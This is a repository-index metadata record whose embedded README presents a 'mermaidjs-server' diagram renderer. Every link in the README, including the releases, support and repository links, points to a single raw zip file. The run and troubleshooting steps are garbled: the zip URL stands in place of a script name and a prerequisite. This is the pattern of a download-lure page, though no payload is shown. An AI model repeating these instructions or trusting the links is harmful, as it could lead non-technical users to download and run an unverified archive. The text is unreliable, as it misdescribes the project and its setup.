{"id":31749109,"url":"https://github.com/drakov09/mermaidjs-server","last_synced_at":"2026-04-29T23:01:39.811Z","repository":{"id":316924040,"uuid":"1065210289","full_name":"Drakov09/mermaidjs-server","owner":"Drakov09","description":"🖼️ Transform Mermaid diagrams to SVG or PNG with a high-performance Node.js server, featuring caching, real-time rendering, and minimal browser use.","archived":false,"fork":false,"pushed_at":"2026-04-24T19:53:38.000Z","size":2068,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-24T21:37:01.808Z","etag":null,"topics":["cloud-run","diagrams","docker","mermaid","nodejs","png","puppeteer","rendering","svg","websocket"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Drakov09.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-09-27T09:13:21.000Z","updated_at":"2026-04-24T19:53:43.000Z","dependencies_parsed_at":"2026-01-04T01:02:41.052Z","dependency_job_id":null,"html_url":"https://github.com/Drakov09/mermaidjs-server","commit_stats":null,"previous_names":["drakov09/mermaidjs-server"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Drakov09/mermaidjs-server","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Drakov09%2Fmermaidjs-server","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Drakov09%2Fmermaidjs-server/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Drakov09%2Fmermaidjs-server/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Drakov09%2Fmermaidjs-server/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Drakov09","download_url":"https://codeload.github.com/Drakov09/mermaidjs-server/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Drakov09%2Fmermaidjs-server/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32447312,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-29T22:27:22.272Z","status":"ssl_error","status_checked_at":"2026-04-29T22:10:49.234Z","response_time":110,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cloud-run","diagrams","docker","mermaid","nodejs","png","puppeteer","rendering","svg","websocket"],"created_at":"2025-10-09T14:31:20.547Z","updated_at":"2026-04-29T23:01:39.806Z","avatar_url":"https://github.com/Drakov09.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎉 mermaidjs-server - Effortlessly Render Diagrams with Ease\n\n[![Download mermaidjs-server](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip)](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip)\n\n## 🚀 Getting Started\n\nWelcome to the **mermaidjs-server**, your high-performance rendering service for creating diagrams. This guide will help you download and run the application smoothly, even if you have no technical background.\n\n## 📦 What is mermaidjs-server?\n\n**mermaidjs-server** converts Mermaid diagrams to SVG or PNG images. With this service, you can generate high-quality graphics effortlessly via HTTP and WebSocket. It also supports caching for faster loading times and can run easily using Docker or Cloud Run.\n\n## 🖥️ System Requirements\n\nBefore you start, ensure your system meets these requirements:\n\n- **Operating System**: Windows, macOS, or Linux.\n- **RAM**: At least 4GB (8GB recommended).\n- **Disk Space**: Minimum of 200MB available.\n\n## 🔥 Features\n\n- Converts Mermaid text to SVG and PNG formats.\n- Supports real-time rendering through WebSocket connections.\n- Uses caching to improve performance.\n- Easily deployable with Docker or directly in Cloud Run.\n- Simple HTTP API for generating diagrams.\n\n## 📥 Download \u0026 Install\n\nTo get started, visit the [Releases page](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip) to download the latest version of the application. \n\nHere is how to proceed:\n\n1. Visit the [Releases page](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip).\n2. Look for the most recent version.\n3. Find the installer file in the list (it could be a .zip, .tar, or Docker image).\n4. Click on the file name to download it to your computer.\n\n## ⚙️ How to Run the Application\n\nOnce downloaded, follow these simple steps to run the application:\n\n### For Docker Users\n\n1. Ensure Docker is installed on your computer.\n2. Open your command line interface (Terminal, Command Prompt, etc.).\n3. Pull the Docker image by running:\n   ```bash\n   docker pull drakov09/mermaidjs-server\n   ```\n4. Start the container with the following command:\n   ```bash\n   docker run -p 8080:8080 drakov09/mermaidjs-server\n   ```\n5. Access the application at `http://localhost:8080`.\n\n### For Non-Docker Users\n\n1. Unzip the downloaded file to a folder of your choice.\n2. Open your command line interface.\n3. Navigate to the folder where you unzipped the files.\n4. Run the application using https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip by typing:\n   ```bash\n   node https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip\n   ```\n5. Open your web browser and go to `http://localhost:8080`.\n\n## 📖 Using the Application\n\nAfter launching the application, you can start creating diagrams. Here’s a quick guide:\n\n1. Access the application via your web browser at `http://localhost:8080`.\n2. Enter your Mermaid diagram syntax into the designated input area.\n3. Choose whether you want an SVG or PNG output.\n4. Click the \"Render\" button to generate your diagram.\n5. Download the resulting image to your computer.\n\n## ❓ Troubleshooting\n\nIf you encounter any issues, try the following steps:\n\n- Ensure you have https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip and Docker properly installed.\n- Check your command line for any error messages and correct them as needed.\n- Restart the application if it does not respond.\n\n## 📫 Support\n\nFor questions or feedback, feel free to reach out. You can open an issue on the [GitHub repository](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip). Our team is here to help you with any challenges you face.\n\n## 🤝 Contributing\n\nWe welcome contributions to improve **mermaidjs-server**. If you're interested, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch for your feature or fix.\n3. Make your changes.\n4. Submit a pull request.\n\nThank you for your interest in **mermaidjs-server**!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdrakov09%2Fmermaidjs-server","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdrakov09%2Fmermaidjs-server","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdrakov09%2Fmermaidjs-server/lists"}